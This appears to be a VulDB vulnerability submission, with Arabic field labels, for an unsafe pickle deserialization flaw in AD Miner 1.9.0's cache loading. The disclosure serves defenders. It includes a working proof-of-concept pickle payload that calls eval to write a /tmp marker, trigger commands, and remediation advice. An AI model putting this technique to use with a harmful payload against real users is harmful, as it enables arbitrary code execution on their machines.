| عنوان | AD-Security AD_Miner 1.9.0 Unsafe Deserialization / Arbitrary Code Execution |
|---|
| الوصف | ## Vulnerability Title
Supply Chain Integrity Bypass via Weak Checksum Validation in AD Miner Cache Loading
## Affected Component
`ad_miner/scripts/analyse_cache.py` and `ad_miner/sources/modules/cache_class.py`
Repository: https://github.com/AD-Security/AD_Miner
## Summary
An attacker with the ability to provide or replace an AD Miner cache file can craft a malicious pickle payload that is accepted as a trusted cache entry, causing arbitrary Python code execution during cache loading. This negatively impacts analysts or systems that inspect cache files from untrusted or shared sources.
*(Note: This is an unsafe deserialization issue resulting from missing integrity/authenticity validation before trusting serialized cache contents).*
## Technical Details
The vulnerability occurs because AD Miner treats local pickle cache files as trusted object state and deserializes them with `pickle.load` without validating authenticity or integrity. A malicious pickle file is not merely data: Python pickle opcodes can invoke arbitrary functions during deserialization.
**Vulnerable Cache Loader**
No hash, digest, or checksum is computed for the affected cache object before deserialization. In `ad_miner/scripts/analyse_cache.py`:
```python
def request_a():
module_name = sys.argv[1]
return retrieveCacheEntry(full_module_path=MODULES_DIRECTORY / module_name)
def retrieveCacheEntry(full_module_path: Path):
with open(full_module_path, "rb") as f:
return pickle.load(f)
```
The main cache implementation also serializes and deserializes cache entries with `pickle` (`ad_miner/sources/modules/cache_class.py`). While comments indicate `# todo add checksum`, no validation is currently performed:
```python
# todo add checksum
def retrieveCacheEntry(self, filename):
full_name = self.cache_prefix + "_" + filename
if os.path.exists(full_name):
with open(full_name, "rb") as f:
return pickle.load(f)
```
**How the Attacker Constructs a Conflicting Object**
A legitimate cache file is intended to contain AD Miner request results. An attacker can instead provide a serialized pickle object whose `__reduce__` method invokes an arbitrary callable during deserialization.
Example malicious object construction:
```python
class Exploit:
def __reduce__(self):
return (
builtins.eval,
("(__import__('pathlib').Path('/tmp/agentscan_pickle_marker').write_text('pickle executed'), [])[1]",),
)
```
Because the application trusts a cache file based solely on path and existence, it blindly uses `pickle.load` to instantiate its contents before verifying its safety.
## Impact
This vulnerability allows attackers to:
- Execute arbitrary Python code on a machine whose user loads an attacker-controlled cache file.
- Poison or tamper with AD Miner analysis results by replacing trusted cache content.
- Use shared cache files, support bundles, or social engineering to turn file-delivery access into local code execution.
*(Note: The attack can be persistent if a malicious cache file remains in `cache_neo4j/` or another trusted cache location and is later loaded with cache mode enabled).*
## Proof of Concept
This PoC proves that `pickle.load` in `analyse_cache.py` executes code embedded in a cache file. The payload is intentionally harmless and only writes a marker file under `/tmp`.
```python
#!/usr/bin/env python3
"""Minimal PoC for unsafe pickle deserialization in analyse_cache.py."""
import builtins
import pathlib
import pickle
class Exploit:
def __reduce__(self):
payload = (
"(__import__('pathlib').Path('/tmp/agentscan_pickle_marker')"
".write_text('pickle executed'), [])[1]"
)
return builtins.eval, (payload,)
pathlib.Path("/tmp/agentscan_pickle_marker").unlink(missing_ok=True)
pathlib.Path("/tmp/agentscan_pickle_poc.pkl").write_bytes(pickle.dumps(Exploit()))
print("/tmp/agentscan_pickle_poc.pkl")
```
Execution steps:
1. Generate the PoC pickle: `python3 poc.py`
2. Trigger the affected script using the absolute path inclusion vulnerability:
`python3 ad_miner/scripts/analyse_cache.py /tmp/agentscan_pickle_poc.pkl`
3. Verify code execution:
`test -f /tmp/agentscan_pickle_marker && cat /tmp/agentscan_pickle_marker`
*Observed Output: `pickle executed` confirms that the payload ran successfully during deserialization.*
## Remediation
Replace pickle-based cache loading for untrusted or user-provided files with a data-only serialization format (e.g., JSON). If cache files must remain binary, verify authenticity and integrity before parsing, and do not use Python `pickle` for files crossing trust boundaries.
Additional mitigations:
1. Canonical Serialization: Store cache entries in deterministic JSON or another data-only format.
2. Complete Field Coverage: Include cache schema version, producer identity, request key, and expected object type in authenticated metadata.
3. Cryptographic Construction: Use HMAC or cryptographic signatures when cache files may be shared or restored from untrusted locations.
4. Read-Time Revalidation: Validate the expected cache type and schema after parsing with a restricted, non-executable parser.
## References
- Vulnerable helper script: `https://github.com/AD-Security/AD_Miner/blob/ac3d47319213566e268bee16ae33335705c1b89d/ad_miner/scripts/analyse_cache.py#L9-L16`
- Main cache loader: `https://github.com/AD-Security/AD_Miner/blob/ac3d47319213566e268bee16ae33335705c1b89d/ad_miner/sources/modules/cache_class.py#L23-L28`
- Main cache use in request processing: `https://github.com/AD-Security/AD_Miner/blob/ac3d47319213566e268bee16ae33335705c1b89d/ad_miner/sources/modules/neo4j_class.py#L312-L323`
- Documented cache feature: `https://github.com/AD-Security/AD_Miner/blob/ac3d47319213566e268bee16ae33335705c1b89d/README.md#L125-L131` |
|---|
| المصدر | ⚠️ https://github.com/AD-Security/AD_Miner/issues/238 |
|---|
| المستخدم | Dem00000 (UID 98563) |
|---|
| ارسال | 04/06/2026 01:52 PM (1 شهر منذ) |
|---|
| الاعتدال | 04/07/2026 10:05 AM (30 days later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 376310 [AD-Security AD_Miner 1.9.0 Cache analyse_cache.py request_a sys.argv[1] تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|